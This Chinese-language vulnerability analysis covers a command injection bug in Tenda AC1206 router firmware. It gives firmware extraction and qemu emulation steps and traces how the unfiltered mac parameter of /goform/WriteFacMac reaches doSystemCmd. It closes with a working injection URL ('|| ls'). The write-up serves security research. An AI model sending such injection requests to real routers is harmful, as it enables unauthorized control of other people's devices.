0x01 漏洞描述
Tenda AC1206(v15.03.06.23)存在formWriteFacMac命令注入漏洞,可以通过mac参数执行任意命令。
0x02 漏洞分析
US_AC1206V1.0RTL_V15.03.06.23_multi_TD01
提取固件
提取固件运行httpd可执行文件
binwalk -Me US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin
qemu执行
mips小端
cd _US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin.extracted/squashfs-root/
cp $(which qemu-mipsel-static) ./
sudo ./qemu-mipsel-static -L ./ ./bin/httpd
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd
main函数中0x00433a68有对apmib_init的判断,patch掉,bnez改为beqz
ConnectCfm也需要改掉
添加网卡
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
formWriteFacMac
漏洞点在http的formWriteFacMac函数,IDA定位关键函数fromWirteFacMac,控制了mac参数就能利用doSystemCmd实现命令注入。
doSystemCmd
doSystemCmd函数不在httpd中,在libcommon.so中
交叉引用查看formWriteFacMac函数调用链
main -> initWebs -> formDefineTenDa -> websFormDefine('WriteFacMac',formWriteFacMac);
formDefineTenDa包含路由器接口和对应的处理函数,通过websFormDefine注册后,WriteFacMac会和formWriteFacMac形成绑定,在goform下产生接口WriteFacMac调用formWriteFacMac
192.168.130.137/goform/WriteFacMac
initWebs
formDefineTenDa
websGetVar
判断wp中的mac参数是否存在,不存在返回默认值00:01:02:11:22:33,存在则返回对应值,没有做任何过滤,因此可以直接构造。
0x03 漏洞利用
当wp判断mac参数是否存在时,返回值没有做任何过滤,因此可以直接构造。
192.168.130.137/goform/WriteFacMac?mac=00:01:02:11:22:33 || ls